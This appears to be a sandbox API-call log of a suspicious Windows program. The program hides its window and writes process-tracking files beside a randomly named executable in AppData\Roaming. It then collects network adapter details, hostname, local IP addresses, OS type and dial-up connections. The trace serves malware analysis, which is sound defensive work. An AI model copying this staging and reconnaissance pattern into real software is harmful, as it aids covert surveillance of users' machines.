	[0079.613] GetWindowRect (in: hWnd=0x10210, lpRect=0x3fe430 | out: lpRect=0x3fe430) returned 1
	[0079.613] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0
	[0079.613] GetClientRect (in: hWnd=0x10210, lpRect=0x3fe8cc | out: lpRect=0x3fe8cc) returned 1
	[0079.613] GetWindowRect (in: hWnd=0x10210, lpRect=0x3fe8cc | out: lpRect=0x3fe8cc) returned 1
	[0079.613] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x104, lParam=0x22dc5e0) returned 0x0
	[0079.614] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x83, wParam=0x1, lParam=0x3fe750) returned 0x0
	[0079.614] GetParent (hWnd=0x10210) returned 0x0
	[0079.614] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0079.615] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10214
	[0079.615] SetWindowLongW (hWnd=0x10214, nIndex=-4, dwNewLong=2003183069) returned 78907446
	[0079.615] GetWindowLongW (hWnd=0x10214, nIndex=-4) returned 2003183069
	[0079.615] SetWindowLongW (hWnd=0x10214, nIndex=-4, dwNewLong=78907686) returned 2003183069
	[0079.615] GetWindowLongW (hWnd=0x10214, nIndex=-4) returned 78907686
	[0079.615] GetWindowLongW (hWnd=0x10214, nIndex=-16) returned 79691776
	[0079.615] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x24, wParam=0x0, lParam=0x3feb8c) returned 0x0
	[0079.615] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x81, wParam=0x0, lParam=0x3feb80) returned 0x1
	[0079.615] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x83, wParam=0x0, lParam=0x3feb6c) returned 0x0
	[0079.615] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x1, wParam=0x0, lParam=0x3feb80) returned 0x0
	[0079.615] SetWindowLongW (hWnd=0x10210, nIndex=-8, dwNewLong=66068) returned 0
	[0079.616] SendMessageW (hWnd=0x10210, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0
	[0079.616] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0
	[0079.616] SendMessageW (hWnd=0x10210, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0
	[0079.616] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0
	[0079.616] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x104, lParam=0x22dc5f8) returned 0x0
	[0079.616] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x104, lParam=0x22dc5f8) returned 0x0
	[0079.616] GetSystemMenu (hWnd=0x10210, bRevert=0) returned 0x0
	[0079.616] GetWindowPlacement (in: hWnd=0x10210, lpwndpl=0x3ff0d4 | out: lpwndpl=0x3ff0d4) returned 1
	[0079.616] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1
	[0079.616] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1
	[0079.616] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1
	[0079.616] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x0) returned 1
	[0079.616] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1
	[0079.617] SetWindowLongW (hWnd=0x10210, nIndex=-8, dwNewLong=66068) returned 66068
	[0079.618] GetSystemMetrics (nIndex=11) returned 32
	[0079.618] GetSystemMetrics (nIndex=12) returned 32
	[0079.618] GetDC (hWnd=0x0) returned 0x3b0107e5
	[0079.618] GetDeviceCaps (hdc=0x3b0107e5, index=12) returned 32
	[0079.618] GetDeviceCaps (hdc=0x3b0107e5, index=14) returned 1
	[0079.618] ReleaseDC (hWnd=0x0, hDC=0x3b0107e5) returned 1
	[0079.619] CreateIconFromResourceEx (presbits=0x241b088, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x1401c1
	[0079.620] SendMessageW (hWnd=0x10214, Msg=0x80, wParam=0x1, lParam=0x1401c1) returned 0x0
	[0079.620] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x80, wParam=0x1, lParam=0x1401c1) returned 0x0
	[0079.620] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0xd, wParam=0x104, lParam=0x22dc5f8) returned 0x0
	[0079.620] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0xd, wParam=0x104, lParam=0x22dc5f8) returned 0x0
	[0079.621] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73e40000
	[0079.621] GetWindowLongW (hWnd=0x10210, nIndex=-16) returned 650182656
	[0079.621] AdjustWindowRectEx (in: lpRect=0x3ff068, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ff068) returned 1
	[0079.621] GetWindowLongW (hWnd=0x10210, nIndex=-16) returned 650182656
	[0079.621] GetWindowLongW (hWnd=0x10210, nIndex=-20) returned 590080
	[0079.621] SetWindowLongW (hWnd=0x10210, nIndex=-16, dwNewLong=570490880) returned 650182656
	[0079.621] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ff06c) returned 0x0
	[0079.621] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ff06c) returned 0x0
	[0079.621] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x46, wParam=0x0, lParam=0x3fe9ec) returned 0x0
	[0079.621] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x83, wParam=0x1, lParam=0x3fe9c4) returned 0x0
	[0079.622] GetWindowPlacement (in: hWnd=0x10210, lpwndpl=0x3fe79c | out: lpwndpl=0x3fe79c) returned 1
	[0079.622] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x47, wParam=0x0, lParam=0x3fe9ec) returned 0x0
	[0079.622] GetClientRect (in: hWnd=0x10210, lpRect=0x3fe74c | out: lpRect=0x3fe74c) returned 1
	[0079.622] GetWindowRect (in: hWnd=0x10210, lpRect=0x3fe74c | out: lpRect=0x3fe74c) returned 1
	[0079.622] SetWindowLongW (hWnd=0x10210, nIndex=-20, dwNewLong=589824) returned 589824
	[0079.622] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x7c, wParam=0xffffffec, lParam=0x3ff06c) returned 0x0
	[0079.623] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x7d, wParam=0xffffffec, lParam=0x3ff06c) returned 0x0
	[0079.623] SetWindowPos (hWnd=0x10210, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1
	[0079.623] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x46, wParam=0x0, lParam=0x3ff08c) returned 0x0
	[0079.623] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x83, wParam=0x1, lParam=0x3ff064) returned 0x0
	[0079.623] GetWindowPlacement (in: hWnd=0x10210, lpwndpl=0x3fee3c | out: lpwndpl=0x3fee3c) returned 1
	[0079.623] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x47, wParam=0x0, lParam=0x3ff08c) returned 0x0
	[0079.623] GetClientRect (in: hWnd=0x10210, lpRect=0x3fedec | out: lpRect=0x3fedec) returned 1
	[0079.623] GetWindowRect (in: hWnd=0x10210, lpRect=0x3fedec | out: lpRect=0x3fedec) returned 1
	[0079.623] RedrawWindow (hWnd=0x10210, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
	[0079.623] GetSystemMenu (hWnd=0x10210, bRevert=0) returned 0x0
	[0079.624] GetWindowPlacement (in: hWnd=0x10210, lpwndpl=0x3ff0c4 | out: lpwndpl=0x3ff0c4) returned 1
	[0079.624] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1
	[0079.624] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1
	[0079.624] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1
	[0079.624] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x0) returned 1
	[0079.624] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1
	[0079.624] ShowWindow (hWnd=0x10210, nCmdShow=2) returned 0
	[0079.624] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x46, wParam=0x0, lParam=0x3ff138) returned 0x0
	[0079.624] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
	[0079.625] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdba4) returned 0x0
	[0079.628] GetWindowPlacement (in: hWnd=0x10210, lpwndpl=0x3feee8 | out: lpwndpl=0x3feee8) returned 1
	[0079.628] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x47, wParam=0x0, lParam=0x3ff138) returned 0x0
	[0079.628] GetClientRect (in: hWnd=0x10210, lpRect=0x3fee98 | out: lpRect=0x3fee98) returned 1
	[0079.628] GetWindowRect (in: hWnd=0x10210, lpRect=0x3fee98 | out: lpRect=0x3fee98) returned 1
	[0079.628] GetWindowTextLengthW (hWnd=0x10210) returned 0
	[0079.628] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
	[0079.628] GetSystemMetrics (nIndex=42) returned 0
	[0079.628] GetWindowTextW (in: hWnd=0x10210, lpString=0x3ff034, nMaxCount=1 | out: lpString="") returned 0
	[0079.628] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x1, lParam=0x3ff034) returned 0x0
	[0079.628] SendMessageW (hWnd=0x10210, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
	[0079.628] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
	[0079.629] GetWindowTextLengthW (hWnd=0x10210) returned 0
	[0079.629] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
	[0079.629] GetSystemMetrics (nIndex=42) returned 0
	[0079.629] GetWindowTextW (in: hWnd=0x10210, lpString=0x3fee40, nMaxCount=1 | out: lpString="") returned 0
	[0079.629] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x1, lParam=0x3fee40) returned 0x0
	[0079.718] SleepEx (dwMilliseconds=0x0, bAlertable=1) returned 0x0
	[0079.719] CoTaskMemAlloc (cb=0x20c) returned 0x6dd118
	[0079.719] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6dd118 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0079.719] CoTaskMemFree (pv=0x6dd118) 
	[0079.719] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0079.719] GetCurrentProcessId () returned 0x140
	[0079.719] CoTaskMemAlloc (cb=0x20c) returned 0x6dd118
	[0079.719] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6dd118 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0079.719] CoTaskMemFree (pv=0x6dd118) 
	[0079.719] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0079.719] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pid.txt", nBufferLength=0x105, lpBuffer=0x3fe524, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pid.txt", lpFilePart=0x0) returned 0x29
	[0079.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3fe984) returned 1
	[0079.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pid.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\pid.txt"), fInfoLevelId=0x0, lpFileInformation=0x3fea00 | out: lpFileInformation=0x3fea00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0079.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3fe980) returned 1
	[0079.720] CoTaskMemAlloc (cb=0x20c) returned 0x6dd118
	[0079.720] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6dd118 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0079.720] CoTaskMemFree (pv=0x6dd118) 
	[0079.720] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0079.721] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pid.txt", nBufferLength=0x105, lpBuffer=0x3fe3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pid.txt", lpFilePart=0x0) returned 0x29
	[0079.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3fe8b8) returned 1
	[0079.721] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pid.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\pid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2f0
	[0079.722] GetFileType (hFile=0x2f0) returned 0x1
	[0079.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3fe8b4) returned 1
	[0079.722] GetFileType (hFile=0x2f0) returned 0x1
	[0079.723] WriteFile (in: hFile=0x2f0, lpBuffer=0x241f27c*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x3fe950, lpOverlapped=0x0 | out: lpBuffer=0x241f27c*, lpNumberOfBytesWritten=0x3fe950*=0x3, lpOverlapped=0x0) returned 1
	[0079.723] CloseHandle (hObject=0x2f0) returned 1
	[0079.724] CoTaskMemAlloc (cb=0x20c) returned 0x6dd118
	[0079.724] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6dd118 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0079.724] CoTaskMemFree (pv=0x6dd118) 
	[0079.724] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0079.724] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pidloc.txt", nBufferLength=0x105, lpBuffer=0x3fe524, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pidloc.txt", lpFilePart=0x0) returned 0x2c
	[0079.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3fe984) returned 1
	[0079.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pidloc.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\pidloc.txt"), fInfoLevelId=0x0, lpFileInformation=0x3fea00 | out: lpFileInformation=0x3fea00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0079.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3fe980) returned 1
	[0079.724] CoTaskMemAlloc (cb=0x20c) returned 0x6dd118
	[0079.724] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6dd118 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0079.724] CoTaskMemFree (pv=0x6dd118) 
	[0079.724] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0079.724] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", nBufferLength=0x105, lpBuffer=0x3fe4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpFilePart=0x0) returned 0x36
	[0079.724] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pidloc.txt", nBufferLength=0x105, lpBuffer=0x3fe3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pidloc.txt", lpFilePart=0x0) returned 0x2c
	[0079.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3fe8b8) returned 1
	[0079.724] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\pidloc.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\pidloc.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2f0
	[0079.725] GetFileType (hFile=0x2f0) returned 0x1
	[0079.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3fe8b4) returned 1
	[0079.725] GetFileType (hFile=0x2f0) returned 0x1
	[0079.725] WriteFile (in: hFile=0x2f0, lpBuffer=0x24226b4*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0x3fe950, lpOverlapped=0x0 | out: lpBuffer=0x24226b4*, lpNumberOfBytesWritten=0x3fe950*=0x36, lpOverlapped=0x0) returned 1
	[0079.726] CloseHandle (hObject=0x2f0) returned 1
	[0079.758] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x3fe91c | out: pfEnabled=0x3fe91c) returned 0x0
	[0079.986] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x0, pOutBufLen=0x3fe8e4) returned 0x6f
	[0080.232] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6dd118
	[0080.232] GetNetworkParams (in: pFixedInfo=0x6dd118, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x6dd118, pOutBufLen=0x3fe8e4) returned 0x0
	[0080.240] LocalFree (hMem=0x6dd118) returned 0x0
	[0080.241] GetAdaptersAddresses () returned 0x6f
	[0080.246] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x5407888
	[0080.246] GetAdaptersAddresses () returned 0x0
	[0080.259] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0080.265] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b8d10
	[0080.265] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b8d10, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b8d10, pOutBufLen=0x3fe650) returned 0x0
	[0080.272] LocalFree (hMem=0x6b8d10) returned 0x0
	[0080.272] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0080.279] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b8d10
	[0080.279] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b8d10, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b8d10, pOutBufLen=0x3fe650) returned 0x0
	[0080.286] LocalFree (hMem=0x6b8d10) returned 0x0
	[0080.286] LocalFree (hMem=0x5407888) returned 0x0
	[0080.292] gethostname (in: name=0x3fe898, namelen=256 | out: name="YKyd69q") returned 0
	[0080.477] GetAddrInfoW (in: pNodeName="YKyd69q", pServiceName=0x0, pHints=0x3fe980*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3fe928 | out: ppResult=0x3fe928*=0x6ea880*(ai_flags=0, ai_family=23, ai_socktype=0, ai_protocol=0, ai_addrlen=0x1c, ai_canonname="YKyd69q", ai_addr=0x540aa08*(sa_family=23, sin6_port=0x0, sin6_flowinfo=0x0, sin6_addr="fe80:0000:0000:0000:cc69:dee7:228c:baff", sin6_scope_id=0xb), ai_next=0x540aad0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x6ddae0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.105"), ai_next=0x0))) returned 0
	[0080.493] FreeAddrInfoW (pAddrInfo=0x6ea880*(ai_flags=0, ai_family=23, ai_socktype=0, ai_protocol=0, ai_addrlen=0x1c, ai_canonname="YKyd69q", ai_addr=0x540aa08*(sa_family=23, sin6_port=0x0, sin6_flowinfo=0x0, sin6_addr="fe80:0000:0000:0000:cc69:dee7:228c:baff", sin6_scope_id=0xb), ai_next=0x540aad0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x6ddae0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.105"), ai_next=0x0))) 
	[0080.572] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x348
	[0080.572] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x358
	[0080.578] GetCurrentProcess () returned 0xffffffff
	[0080.578] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe53c | out: TokenHandle=0x3fe53c*=0x35c) returned 1
	[0080.580] GetCurrentProcess () returned 0xffffffff
	[0080.580] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe54c | out: TokenHandle=0x3fe54c*=0x360) returned 1
	[0080.582] QueryPerformanceFrequency (in: lpFrequency=0xf5b48 | out: lpFrequency=0xf5b48) returned 1
	[0080.582] QueryPerformanceCounter (in: lpPerformanceCount=0x3fe950 | out: lpPerformanceCount=0x3fe950*=15816933082) returned 1
	[0080.584] GetCurrentProcess () returned 0xffffffff
	[0080.584] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe51c | out: TokenHandle=0x3fe51c*=0x364) returned 1
	[0080.585] GetCurrentProcess () returned 0xffffffff
	[0080.585] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe52c | out: TokenHandle=0x3fe52c*=0x368) returned 1
	[0080.589] GetCurrentProcess () returned 0xffffffff
	[0080.589] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe838 | out: TokenHandle=0x3fe838*=0x36c) returned 1
	[0080.595] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fd984 | out: phkResult=0x3fd984*=0x370) returned 0x0
	[0080.595] RegQueryValueExW (in: hKey=0x370, lpValueName="InstallationType", lpReserved=0x0, lpType=0x3fd9a4, lpData=0x0, lpcbData=0x3fd9a0*=0x0 | out: lpType=0x3fd9a4*=0x1, lpData=0x0, lpcbData=0x3fd9a0*=0xe) returned 0x0
	[0080.595] RegQueryValueExW (in: hKey=0x370, lpValueName="InstallationType", lpReserved=0x0, lpType=0x3fd9a4, lpData=0x2474c18, lpcbData=0x3fd9a0*=0xe | out: lpType=0x3fd9a4*=0x1, lpData="Client", lpcbData=0x3fd9a0*=0xe) returned 0x0
	[0080.595] RegCloseKey (hKey=0x370) returned 0x0
	[0080.610] CoTaskMemAlloc (cb=0xcc0) returned 0x540c2c8
	[0080.610] RasEnumConnectionsW (in: param_1=0x540c2c8, param_2=0x3fe848, param_3=0x3fe84c | out: param_1=0x540c2c8, param_2=0x3fe848, param_3=0x3fe84c) returned 0x0
	[0080.619] CoTaskMemFree (pv=0x540c2c8) 
	[0080.619] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x354
	[0080.619] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x398
	[0080.619] ioctlsocket (in: s=0x354, cmd=-2147195266, argp=0x3fe850 | out: argp=0x3fe850) returned 0
	[0080.620] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x39c
	[0080.620] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a0
	[0080.620] ioctlsocket (in: s=0x39c, cmd=-2147195266, argp=0x3fe850 | out: argp=0x3fe850) returned 0
	[0080.620] WSAIoctl (in: s=0x354, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3fe838, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3fe838, lpOverlapped=0x0) returned -1
	[0080.620] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3fe568, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0080.620] WSAEventSelect (s=0x354, hEventObject=0x398, lNetworkEvents=512) returned 0
	[0080.620] WSAIoctl (in: s=0x39c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3fe838, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3fe838, lpOverlapped=0x0) returned -1
	[0080.620] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3fe568, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0080.620] WSAEventSelect (s=0x39c, hEventObject=0x3a0, lNetworkEvents=512) returned 0
	[0080.620] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a4
	[0080.620] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x3a4, param_3=0x3) returned 0x0
	[0080.624] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x3fe864 | out: phkResult=0x3fe864*=0x3bc) returned 0x0
